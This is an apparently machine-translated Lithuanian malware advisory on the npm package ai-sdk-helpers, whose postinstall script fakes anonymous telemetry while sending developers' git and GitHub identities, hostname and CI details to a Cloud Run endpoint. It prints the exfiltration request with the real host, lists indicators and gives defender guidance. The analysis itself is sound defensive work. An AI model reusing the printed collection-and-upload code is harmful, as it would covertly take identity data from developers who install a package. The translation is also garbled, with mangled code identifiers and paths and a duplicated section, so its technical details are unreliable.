Lt; DR
Vienas npm paketas, ai-sdk-helpers, pristatomas kaip „Vercel AI SDK“ gamybos įrankių rinkinys, siūlantis sąnaudų stebėjimą, tiekėjo atsarginį sprendimą ir srautinio perdavimo pagalbininkus.
Diegimo metu scenarijus atidaromas su nušlifuota atskleidimo juosta, kurioje aprašoma anoniminė diagnostika, pažadėdamas, kad nebus perduodamas joks šaltinio kodas, žetonai ar prisijungimo duomenys, gerbiant DO_NOT_TRACK atsisakymas ir susiejimas su telemetrijos politikos puslapiu.
Tas pats scenarijus nuskaito kūrėjo „git“ tapatybę, „GitHub“ komandinės eilutės sąsajos konfigūraciją, kompiuterio pagrindinio kompiuterio pavadinimą, OS vartotojo vardą, darbinį katalogą ir integracijos sąsajos teikėją.
Tie duomenys JSON formatu siunčiami į „Google Cloud Run“ galinį tašką, todėl susidaro aiškus neatitikimas tarp nurodytos telemetrijos politikos ir faktinių surinktų laukų.
Paketas buvo išleistas dvidešimt dviem versijomis per vieną 83 sekundžių trukmės paketą, o diegimo scenarijus yra baitas po baito identiškas kiekvienoje pažymėtoje versijoje.
Septynios iš aštuonių mūsų peržiūrėtų versijų pipeline ML klasifikatoriaus įvertinti kaip neįtikinami, nes sutikimo juostos stilius skamba kaip teisėta telemetrija.
Mes klasifikuojame ai-sdk-helpers kaip kenkėjiška, remiantis diegimo metu surinkta kūrėjo tapatybės informacija ir jos nutekėjimu.
Sunkumas: didelis.
Diegimo anatomija
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } po įdiegimo paleidžiamas automatiškai npm įdiegti, prieš importuojant bet kurį paketo reklamuojamą kodą. Scenarijus scenarijai/postinstall.js yra vieta, kur vyksta visi diegimo laiko veiksmai.
Jis atidaromas su komentarų bloku ir vykdymo laiko pranešimu, įrašytu privatumo nepažeidžiančio atvirojo kodo projekto registre:
> Įdiegus „ai-sdk-helpers“, atliekame greitą aplinkos suderinamumo patikrinimą ir pateikiame anoniminę diagnostikos ataskaitą... Duomenys yra visiškai anonimiški – renkame jūsų platformą, mazgo versiją ir vienpusį jūsų kompiuterio identifikatoriaus maišos kodą. Joks šaltinio kodas, žetonai ar prisijungimo duomenys niekada neperduodami.
Jis netgi prijungia veikiantį atsisakymo vartą – pirmąjį vykdomąjį kodą faile:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } pirmiausia įsukus šiuos vartus, visa kita laikoma bendru sutarimu: kūrėjas, kuris nustato `D_NOT_TRACK` tyliai užbaigia diegimą ir užbaigia, kai paketas laikosi konvencijos. Gerbiamas atsisakymas yra realus. Visiems, kurie jo nenustato, jis uždaro toliau aprašytą rinkinį, o ne siauresnę „platformą, mazgo versiją ir vienkryptį maišos kodą“, kaip nurodoma pranešime.
Žemiau šių vartų scenarijus surenka naudingąją apkrovą, kuri gerokai viršija šį aprašymą.
- *Gt tapatybė.* rišspręstiScmTapatybė()` galvos `~.gitconfig`,`~.config/git/config`,ir dabartinio projekto `.it/config`,analizuoja `[ser]` skyrių ir grąžina sukonfigūruotą commit el. paštas. Jei konfigūracijos failas neduoda el. pašto adreso, grįžtama prie „G“T_AUTORIJOS_EL. PAŠTAS`,`GT_COMMITTER_EMAIL`,ir „E“AIL` aplinkos kintamieji. Virš funkcijos esanti dokumentacijos eilutė apibrėžia skaitymą kaip būdą „pašalinti pasikartojančius diegimus to paties asmens kompiuteriuose (pvz., nešiojamas kompiuteris + CI)“ – nurodytas tikslas, kuriam reikalingas stabilus kūrėjo identifikatorius, kurį commit el. pašto reikmenys.
- *G„tHub“ paskyra.* rsolveGitHubIdentity()` galvos `~.config/gh/hosts.yml` ir `~.config/gh/hosts.yaml` konfigūracijos failas, kurį parašo „GitHub CLI“, kai kūrėjas autentifikuojasi, ir reguliariosios išraiškos būdu išgauna `uer:` ir `enelaimė:` laukuose. Tame faile taip pat saugomas „GitHub OAuth“ prieigos raktas; scenarijaus reguliarioji išraiška yra skirta konkrečiai vartotojo vardo ir el. pašto eilutėms ir neištraukia prieigos rakto. Todėl atskleidimo juostos teiginys „jokie prieigos raktai... niekada neperduodami“ yra tiesiogine prasme teisingas tam vienam laukui, kol aplinkiniai paskyros identifikatoriai yra skaitomi ir siunčiami.
- *Hir CI pirštų atspaudai.* Tada scenarijus renka „o“.hostname()`,`o.userInfo().username`,„Mazgo“ versija, platforma ir architektūra, `pocess.cwd()`,ir CI teikėjo žymė, išspręsta patikrinus aštuonių teikėjų („GitHub Actions“, „GitLab CI“, „Jenkins“, „CircleCI“, „Travis“, „Buildkite“ ir dviejų bendrinių CI vėliavėlių) aplinkos kintamuosius. Teikėjų sąrašas skaitomas kaip scenarijaus vykdymo vietų – interaktyvių apvalkalų ir automatinio kūrimo – sąrašas. pipelines panašus.
Visi jie sugrupuoti į vieną `dagnostikai bject, o kūrėjo laukai renkami pagal `i`subjektas ey ir pagrindinio kompiuterio duomenys po `rntime` ir `cntekstas` akys, tada serializuojamos ir perduodamos:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Atsakymas atmetamas, o visos klaidos panaikinamos – komentare pažymima, kad „telemetrija niekada neturi sutrikdyti diegimo“. Galinio mazgo pagrindinio kompiuterio pavadinimas koduoja „Google Cloud Run“ paslaugą.virvė-vakarai1` regionas.
Svarbiausia yra spraga. Antraštėje įvardijamos trys duomenų kategorijos – platforma, mazgo versija, mašinos identifikatoriaus maišos kodas. Naudingoji apkrova siunčia tikrąjį kūrėjo gitą. commit el. pašto adresą, jų „GitHub“ vartotojo vardą ir el. pašto adresą, jų kompiuterio pagrindinio kompiuterio pavadinimą ir OS paskyros pavadinimą, jų projekto kelią ir jų CI aplinką. Laukai, identifikuojantys *prson ir jų sąskaitos* tiksliai tie laukai, kurių atskleidime nėra.
README sustiprina kitos pusės pateiktą kontekstą. Jo skyriuje „Telemetrija“ pakartojamas anonimiškumo teiginys ir žodis „D“ susiejamas su..._NOT_TRACK` o `cnsoledonottrack.com`,tikrasis bendruomenės puslapis, kuriame dokumentuojama atsisakymo konvencija – pasiskolinant pripažintą privatumo principą standard kad pranešimas būtų skaitomas įprastai.
Chronologija
Tai vieno paketo radinys su labai trumpa ir labai tankia publikavimo istorija. Nėra jokio kelių savaičių kampanijos ciklo, kurį būtų galima atsekti – visas versijų diapazonas buvo platinamas mašinos greičiu.
| Kada (UTC) | renginys |
|---|---|
| 2026-06-03 20:31:20 | Pirmoji versija (0.1.0) paskelbta npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Visos 22 versijos (0.1.0 per 1.4.2) paskelbtas 83 sekundžių trukmės automatiniu pranešimu. |
| 2026-06-04 | Aštuonios versijos pažymėtos aptikimo signalais; rankinė analizė patvirtina diegimo metu surinktą tapatybės informaciją ir jos išgavimą. Analizės metu paketas vis dar buvo aktyvus npm. |
83 sekundžių langas, apimantis 22 semantines versijas, pats savaime yra elgesio indikatorius: versijų kopėčios (`01.0`,`01.1`,… `14.2 colio)pateikia aktyviai prižiūrimo projekto su išleidimo istorija, sugeneruota vieno scenarijaus vykdymo metu, paviršių. Diegimo scenarijus per tą kopėčią nesikeičia – žr. toliau.
Kompromiso rodikliai
Diegimo laiko naudingoji apkrova yra vienoda visuose paskelbtuose versijų diapazonuose. A `dff` f'sripts/postinstall.js` tarp „0“ versija2.1 “ 1-oji versija4.2 “ negrąžina jokių skirtumų; elgesys yra vienas fiksuotas piršto atspaudas, o ne besikeičianti apkrova.
tinklas
83 sekundžių langas, apimantis 22 semantines versijas, pats savaime yra elgesio indikatorius: versijų kopėčios (`01.0`,`01.1`,… `14.2 colio)pateikia aktyviai prižiūrimo projekto su išleidimo istorija, sugeneruota vieno scenarijaus vykdymo metu, paviršių. Diegimo scenarijus per tą kopėčią nesikeičia – žr. toliau.
Kompromiso rodikliai
Diegimo laiko naudingoji apkrova yra vienoda visuose paskelbtuose versijų diapazonuose. A `dff` f'sripts/postinstall.js` tarp „0“ versija2.1 “ 1-oji versija4.2 “ negrąžina jokių skirtumų; elgesys yra vienas fiksuotas piršto atspaudas, o ne besikeičianti apkrova.
tinklas
| rodiklis | Vaidmuo |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Išfiltracijos galinis punktas, gaunantis HTTPS POST užklausas su JSON naudingąja apkrova. Talpinta „Google Cloud“ platformoje. europe-west1 Regione. |
Masalų infrastruktūra
| rodiklis | Vaidmuo |
|---|---|
ai-sdk.guide | Paketo pagrindinis puslapis ir aktyvi svetainė, palaikanti „AI SDK Guide“ autoriaus tapatybę. |
ai-sdk.guide/telemetry | Telemetrijos politikos URL, nurodytas diegimo metu pateiktame atskleidimo pranešime. |
hello@ai-sdk.guide | Autoriaus el. pašto adresas nurodytas package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Paketo deklaruota šaltinio saugykla. |
Failai, nuskaityti diegimo metu
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` paštas
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` „GitHub“ komandinė eilutė (CLI)er` `eail`
Elgesio parašai
- – m `pstinstall` ook iškviečia susietą „Node“ scenarijų
- – atsisakymo vartai (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)pateikiama kaip privatumo funkcija, prieš renkant tapatybę
- – JSON objekto, kuriame yra „git“ el. pašto adresas, „GitHub“ tapatybė, pagrindinio kompiuterio pavadinimas, OS vartotojo vardas, cwd ir CI žymė, HTTPS POST siuntimas
- – identiškas diegimo scenarijus sparčiai publikuojamoje versijų kopėčioje
Priskyrimas ir stebimas elgesys
Mes nepriskiriame nieko, išskyrus tai, kas įrašyta pakete ir registro metaduomenyse.
NPM įrašų tvarkytojas yra paskyra „a“.ielsimon`,su adresu „a“.iel@vigilance.security`.Registre tas el. pašto adresas nurodomas kaip nepatvirtintas, o paskyros šaltinio kontrolės tapatybė – kaip nepatvirtinta. `pckage.json`,atskirai pristato autorių kaip „AI SDK vadovą“ello@ai-sdk.guide>`”su „a“ pagrindiniu puslapiu-sdk.guide` ir šaltinio saugyklą po `g`thub.com/ai-sdk-guide` organizacija. Leidinio paskyros el. pašto domenas („vigilance.security“)ir paketo autoriaus tapatybę (`a-sdk.guide`)yra skirtingi domenai.
„A“-sdk.guide` „ite“ yra aktyvus ir atsako, o `/elementrija ath išsprendžiama – masalo tapatybę palaiko pasiekiamas žiniatinklio buvimas, o ne neveikianti nuoroda, todėl paketo įrėminimas yra patikimesnis.
**Stebėta funkcija.** Diegimo metu paketas nuskaito kūrėjo tapatybės ir paskyros konfigūracijos failus, nuskaito pagrindinio kompiuterio ir integraliosios sąsajos aplinkos pirštų atspaudus ir perduoda rezultatą operatoriaus valdomam galiniam taškui, rodydamas pranešimą, kuriame aprašomas siauresnis ir anoniminis duomenų rinkinys. Mes aprašome šį elgesį; nenurodome jo motyvo. Paketą vertinantys skaitytojai, įskaitant bet kurią šalį, kuri atpažįsta leidėjo tapatybę, turėtų pasverti pastebimą neatitikimą tarp nurodytų ir faktinių duomenų srautų.
Poveikis, tendencijos ir gairės gynėjams
Kas yra demaskuotas. Kiekvienas, kuris įdiegia ai-sdk-helpers — tiesiogiai arba kaip tranzitinė priklausomybė — paleidžia rinkinį tame kompiuteryje. Kadangi trigeris yra po įdiegimo, reklamuojamo bibliotekos kodo niekada nereikia importuoti, kad įvyktų duomenų srautas; pakanka vien įdiegimo. Vertingiausios aplinkos yra kūrėjų darbo vietos su sukonfigūruota „git“ tapatybe ir autentifikuota „GitHub“ komandinė eilutė (CLI), ir CI vykdytojai, kur scenarijaus CI teikėjo aptikimas rodo, kad rinkinys turėtų būti vykdomas kompiliavimo metu. pipelinetaip pat ir nešiojamuosiuose kompiuteriuose.
Ką tai atskleidžia. Ne programos paslaptys įprastu atveju – naudingoji apkrova sutelkta į tapatybėkūrėjo commit el. pašto adresą, jų „GitHub“ paskyros pavadinimą ir el. pašto adresą, kompiuterio ir paskyros pavadinimus bei projekto kelią. Tai yra išankstiniscisžemėlapis, kuriame nurodyta, kas įdiegė paketą, kuriame kompiuteryje, kokioje saugykloje ir kurioje integracinėje sistemoje. Organizacijoje keli tokie įrašai kartu sudarytų sąrašą, kurie inžinieriai ir kurios kompiliavimo sistemos ištraukė priklausomybę – tai naudinga kaip tikslesnių tolesnių veiksmų pirmtakas, net jei paties paketo veikimas apsiriboja rinkimu ir perdavimu.
Tendencija: telemetrija kaip priedanga. Teisėti kūrėjų įrankiai renka nuasmenintus diegimo diagnostikos duomenis, o tai daroma pagarbiai laikantis konvencijų – atskleidimo pranešimo, NE_STEKTI garbė, atsisakymo vėliavėlė, politikos URL – yra gerai žinomi. ai-sdk-helpers ištikimai atkartoja visas keturias šias konvencijas ir naudoja jas kaip tapatybės duomenų rinkimo apvalkalą. Sutikimo juostos, veikiančio atsisakymo ar privatumo politikos nuorodos buvimas neįrodo, kad paketas yra patikimas; šiuos valdiklius lengva imituoti. Vienintelis patikimas patikrinimas yra tai, ką kodas iš tikrųjų skaito ir kur jis tai iš tikrųjų siunčia.
Ši pakuotė taip pat turi išmatuojamą poveikį automatizuotam atrankos procesui. Visose versijose mūsų pipeline peržiūrėjus, diegimo scenarijaus paprastos kalbos komentarai, struktūrizuoti laukų pavadinimai ir įprasti atsisakymo vartai buvo įvertinti kaip įprasta telemetrija: septyni iš aštuonių grįžo nepriimtina iš ML klasifikatoriaus, o ne kenkėjiško. Signalas, kuris išsprendžia dviprasmybę, nėra tekste – jis yra konkrečiuose failuose, kuriuos atidaro scenarijus (~ / .gitconfig, ~/.config/gh/hosts.yml) ir paskirties vietą, į kurią jis siunčiamas. Peržiūros specialistas, automatizuotas ar žmogus, kuris perskaito atskleidimą ir ties tuo sustoja, padarys klaidingą išvadą; sprendimas turi būti priimtas remiantis duomenų srauto faktais.
Nurodymai gynėjams:
- Įdiegti su pagal numatytuosius nustatymus išjungtais scenarijais — npm diegimas – ignoruoti scenarijusarba nustatyti ignore-scripts=true in .npmrc ir aiškiai vykdyti patikrintus kūrimo veiksmus. Tai neutralizuoja po įdiegimo-suaktyvintas rinkimas visose srityse.
- Nelaikykite atsisakymo valdiklių pasitikėjimo signalais. NE_STEKTI Patikrinimas arba nuoroda „telemetrijos politika“ nieko nepasako apie duomenis, kuriuos scenarijus renka, kai vartai nenustatyti.
- Prieš diegdami dirbtinio intelekto ekosistemos pagalbinius paketus, perskaitykite diegimo instrukcijas. „Vercel“ dirbtinio intelekto SDK erdvė yra sparčiai besivystanti ir didelio patikimumo sritis; po įdiegimo kuris liečia ~ / .gitconfig or ~/.config/gh/ yra aiškus signalas, nepriklausomai nuo to, kaip parašyti aplinkiniai komentarai.
- Stebėti išeinantįjį srautą kūrimo metu. Išeinantis HTTPS POST per npm įdiegti, ypač į naujai paruoštą debesies funkcijų galinį tašką, yra stebimas tinklo lygmenyje ir yra stiprus aptikimo taškas CI aplinkoms.
- Stebėkite suspaustų versijų kopėčias. Paketas, kurio visa semantinės versijos istorija pasirodo per kelias sekundes su nekintančiu diegimo scenarijumi, pateikia sukurtą priežiūros istoriją.





